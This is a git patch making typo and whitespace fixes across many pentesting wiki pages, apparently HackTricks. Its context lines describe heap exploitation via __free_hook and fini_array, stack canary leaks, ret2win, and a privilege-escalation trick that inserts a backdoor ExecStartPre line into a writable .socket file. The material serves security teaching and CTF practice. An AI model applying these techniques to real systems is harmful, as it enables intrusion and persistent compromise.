From 972d01bc6b4570d014dd870fa1aecea6873c938d Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Sun, 5 Jan 2025 21:30:07 +0100 Subject: [PATCH] more migration typos --- .../aw2exec-__malloc_hook.md | 26 +++++++------- .../arbitrary-write-2-exec/www2exec-atexit.md | 2 +- .../README.md | 2 +- .../libc-protections.md | 2 +- .../memory-tagging-extension-mte.md | 2 +- .../bf-forked-stack-canaries.md | 2 +- .../stack-canaries/print-stack-canary.md | 2 +- src/binary-exploitation/integer-overflow.md | 2 +- .../heap-functions-security-checks.md | 4 +-- .../malloc-and-sysmalloc.md | 8 ++--- .../libc-heap/house-of-einherjar.md | 2 +- .../libc-heap/house-of-lore.md | 2 +- .../libc-heap/house-of-roman.md | 4 +-- .../libc-heap/unsorted-bin-attack.md | 8 ++--- .../ret2esp-ret2reg.md | 2 +- .../stack-overflow/ret2win/README.md | 2 +- .../stack-overflow/ret2win/ret2win-arm64.md | 2 +- .../stack-shellcode/stack-shellcode-arm64.md | 4 +-- .../tunneling-and-port-forwarding.md | 2 +- .../external-recon-methodology/README.md | 4 +-- .../privilege-escalation/README.md | 2 +- .../namespaces/cgroup-namespace.md | 2 +- .../namespaces/ipc-namespace.md | 2 +- .../namespaces/mount-namespace.md | 2 +- .../namespaces/network-namespace.md | 2 +- .../namespaces/pid-namespace.md | 2 +- .../namespaces/time-namespace.md | 2 +- .../namespaces/user-namespace.md | 2 +- .../namespaces/uts-namespace.md | 2 +- .../macos-function-hooking.md | 2 +- .../macos-kernel-extensions.md | 2 +- .../README.md | 2 +- .../macos-defensive-apps.md | 2 +- .../macos-gcd-grand-central-dispatch.md | 2 +- .../macos-privilege-escalation.md | 2 +- .../macos-proces-abuse/macos-dirty-nib.md | 2 +- .../README.md | 10 +++--- .../macos-mig-mach-interface-generator.md | 22 ++++++------ .../macos-dyld-process.md | 2 +- .../macos-amfi-applemobilefileintegrity.md | 4 +-- ...macf-mandatory-access-control-framework.md | 4 +-- .../macos-office-sandbox-bypasses.md | 2 +- .../macos-security-protections/macos-sip.md | 2 +- ...m-uri-handlers-deeplinks-custom-schemes.md | 2 +- .../11211-memcache/memcache-commands.md | 2 +- .../nfs-service-pentesting.md | 2 +- .../pentesting-web/dotnetnuke-dnn.md | 2 +- .../pentesting-web/jira.md | 2 +- .../pentesting-web/nginx.md | 2 +- .../pentesting-web/wordpress.md | 2 +- .../cache-poisoning-via-url-discrepancies.md | 2 +- src/pentesting-web/clickjacking.md | 4 +-- src/pentesting-web/crlf-0d-0a.md | 4 +-- .../php-deserialization-+-autoload-classes.md | 2 +- .../deserialization/ruby-class-pollution.md | 2 +- src/pentesting-web/email-injections.md | 8 ++--- src/pentesting-web/file-inclusion/README.md | 2 +- .../hacking-with-cookies/README.md | 2 +- src/pentesting-web/orm-injection.md | 4 +-- src/pentesting-web/phone-number-injections.md | 6 ++-- src/pentesting-web/race-condition.md | 2 +- ...inclusion-edge-side-inclusion-injection.md | 2 +- ...and-ntlm-chanllenge-response-disclosure.md | 2 +- .../pl-pgsql-password-bruteforce.md | 2 +- src/pentesting-web/websocket-attacks.md | 2 +- .../connection-pool-by-destination-example.md | 2 +- .../event-loop-blocking-+-lazy-images.md | 2 +- .../xss-cross-site-scripting/README.md | 8 ++--- .../xss-in-markdown.md | 10 +++--- .../xxe-xee-xml-external-entity.md | 20 +++++------ .../relro.md | 2 +- .../bf-forked-stack-canaries.md | 2 +- .../stack-canaries/print-stack-canary.md | 2 +- .../stack-overflow/ret2csu.md | 2 +- .../stack-overflow/ret2win.md | 2 +- .../cheat-engine.md | 2 +- src/todo/investment-terms.md | 2 +- .../0.-basic-llm-concepts.md | 2 +- .../4.-attention-mechanisms.md | 4 +-- .../6.-pre-training-and-loading-models.md | 2 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 6 ++-- .../bloodhound.md | 2 +- .../printers-spooler-service-abuse.md | 2 +- .../unconstrained-delegation.md | 4 +-- src/windows-hardening/cobalt-strike.md | 34 +++++++++---------- src/windows-hardening/ntlm/README.md | 2 +- .../README.md | 2 +- .../com-hijacking.md | 2 +- theme/highlight.js | 2 +- 89 files changed, 171 insertions(+), 171 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index cca5172d0..3f77a3d08 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -34,15 +34,15 @@ gef➤ p &__free_hook [In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
gef➤  x/20i free
-0xf75dedc0 <free>: push   ebx
-0xf75dedc1 <free+1>: call   0xf768f625
-0xf75dedc6 <free+6>: add    ebx,0x14323a
-0xf75dedcc <free+12>:  sub    esp,0x8
-0xf75dedcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
-0xf75dedd5 <free+21>:  mov    ecx,DWORD PTR [esp+0x10]
-0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]--- BREAK HERE
-0xf75deddb <free+27>:  test   eax,eax ;<
-0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
+0xf75dedc0 : push   ebx
+0xf75dedc1 : call   0xf768f625
+0xf75dedc6 : add    ebx,0x14323a
+0xf75dedcc :  sub    esp,0x8
+0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
+0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
+0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
+0xf75deddb :  test   eax,eax ;<
+0xf75deddd :  jne    0xf75dee50 
 
In the mentioned break in the previous code in `$eax` will be located the address of the free hook. @@ -50,13 +50,13 @@ In the mentioned break in the previous code in `$eax` will be located the addres Now a **fast bin attack** is performed: - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: --
gef➤  p &__free_hook
-  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+- 
gef➤  p &__free_hook
+  $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
   gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
   0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
   0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+  0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
+  0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
   
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index b95214982..d362e89b3 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -51,7 +51,7 @@ Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the There are a **couple of options**: - Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. +- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index 022f8b74d..fb7b1d7d3 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -89,7 +89,7 @@ Something to take into account is that usually **just one exploitation of a vuln - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - With [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) but no [PIE](../common-binary-protections-and-bypasses/pie/index.html), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it + - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) and calculate the address of `system` and `'/bin/sh'` in memory. - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **and not knowing the libc**: You need to: - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index 82351db77..87ceb86e6 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -47,7 +47,7 @@ Pointer mangling aims to **prevent partial and full pointer overwrites in heap** ### Algorithm Overview -The formula used for mangling and demangling pointers is: +The formula used for mangling and demangling pointers is: **`New_Ptr = (L >> 12) XOR P`** diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index 439027283..31835e135 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -8,7 +8,7 @@ ### **How Memory Tagging Extension Works** -MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. +MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size. When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index d751fd506..4f7aab53c 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -107,7 +107,7 @@ log.info(f"The canary is: {canary}") ## Threads -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index 266aef7eb..1ce942487 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -12,7 +12,7 @@ With this info the attacker can **craft and send a new attack** knowing the cana Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. -**CTF examples:** +**CTF examples:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index 149bcf159..2a67c7584 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -107,7 +107,7 @@ In this example, if a user inputs a negative number, it will be interpreted as a - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: + - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: ``` (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 3a55006ad..b7161610a 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -39,7 +39,7 @@ malloc-and-sysmalloc.md - **Checks during small bin search:** - If `victim->bk->fd != victim`: - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: +- **Checks during consolidate** performed for each fast bin chunk: - If the chunk is unaligned trigger: - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - If the chunk has a different size that the one it should because of the index it's in: @@ -47,7 +47,7 @@ malloc-and-sysmalloc.md - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - Error message: `corrupted size vs. prev_size in fastbins` - **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): + - If the chunk size is weird (too small or too big): - Error message: `malloc(): invalid size (unsorted)` - If the next chunk size is weird (too small or too big): - Error message: `malloc(): invalid next size (unsorted)` diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 95eee214d..bce12b591 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -7,7 +7,7 @@ (No checks are explained in this summary and some case have been omitted for brevity) 1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` -2. `_int_malloc` : +2. `_int_malloc` : 1. Tries to generate the arena if there isn't any 2. If any fast bin chunk of the correct size, use it 1. Fill tcache with other fast chunks @@ -299,7 +299,7 @@ The first check is to find out if the requested size could be inside a small bin Then, a security check is performed checking: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. @@ -526,7 +526,7 @@ It's time to check the unsorted bin for a potential valid chunk to use. #### Start -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` Moreover, some security checks are perform every time a new chunk is considered: @@ -1249,7 +1249,7 @@ Then it also checks that: ### sysmalloc not main arena It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +Finally if that didn't work, try calling **`sysmalloc_mmap`**.
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index e68fa4e70..a01b07334 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -34,7 +34,7 @@ - The house of Einherjar finishes here - This can be continued with a fast bin attack or Tcache poisoning: - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) + - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - Then, 2 mallocs are done and the second one is going to be **allocating the target address** ## References and other examples diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md index f5ef3e422..26f13878e 100644 --- a/src/binary-exploitation/libc-heap/house-of-lore.md +++ b/src/binary-exploitation/libc-heap/house-of-lore.md @@ -10,7 +10,7 @@ - This isn't working - Or: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c) - This isn't working even if it tries to bypass some checks getting the error: `malloc(): unaligned tcache chunk detected` -- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) +- This example is still working: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html) ### Goal diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index 217c1c4c8..a747e2741 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -51,8 +51,8 @@ Current heap layout: */ ``` -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` +- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` +- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` - Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68` For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 6d8584173..07a647aa0 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -50,13 +50,13 @@ Then C was deallocated, and consolidated with A+B (but B was still in used). A n - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - Now a **fast bin attack** is performed: - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+    - 
gef➤  p &__free_hook
+      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
       gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
       0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
       0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+      0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
+      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
       
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md index 6cf77159b..62a1ad149 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md @@ -88,7 +88,7 @@ Similarly, if we know a function returns the address where the shellcode is stor ### Example -You can find some examples here: +You can find some examples here: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 4f77191a1..e4c1650c6 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -71,7 +71,7 @@ To find the address of the `win` function, you can use **gdb**, **objdump**, or objdump -d vulnerable | grep win ``` -This command will show you the assembly of the `win` function, including its starting address. +This command will show you the assembly of the `win` function, including its starting address. The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md index d0c8c3b31..8fac862fa 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md +++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md @@ -8,7 +8,7 @@ Find an introduction to arm64 in: ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Code ```c #include diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 8c609ee0e..68cf6dc54 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -8,7 +8,7 @@ Find an introduction to arm64 in: ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Code ```c #include @@ -31,7 +31,7 @@ Compile without pie, canary and nx: clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` -## No ASLR & No canary - Stack Overflow +## No ASLR & No canary - Stack Overflow To stop ASLR execute: diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 62d747abe..1fd51d132 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -574,7 +574,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\ -_Exposition URI are like:_ **UID.ngrok.io** +_Exposition URI are like:_ **UID.ngrok.io** ### Installation diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 7a03395de..b8985c9a4 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -196,7 +196,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ ## Subdomains @@ -539,7 +539,7 @@ Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdoma If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html). If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ ## IPs diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 121901b48..3c7366620 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -538,7 +538,7 @@ Sockets can be configured using `.socket` files. ### Writable .socket files If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index f9937ed09..509716f87 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -62,7 +62,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Check which namespace is your process in +### Check which namespace is your process in ```bash ls -l /proc/self/ns/cgroup diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 4e3c65668..d8760aa1b 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -54,7 +54,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Check which namespace is your process in +### Check which namespace is your process in ```bash ls -l /proc/self/ns/ipc diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index e0d810110..f48b6c91e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -57,7 +57,7 @@ By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is cor docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` -### Check which namespace is your process in +### Check which namespace is your process in ```bash ls -l /proc/self/ns/mnt diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 20a9f060f..5ce86a305 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -57,7 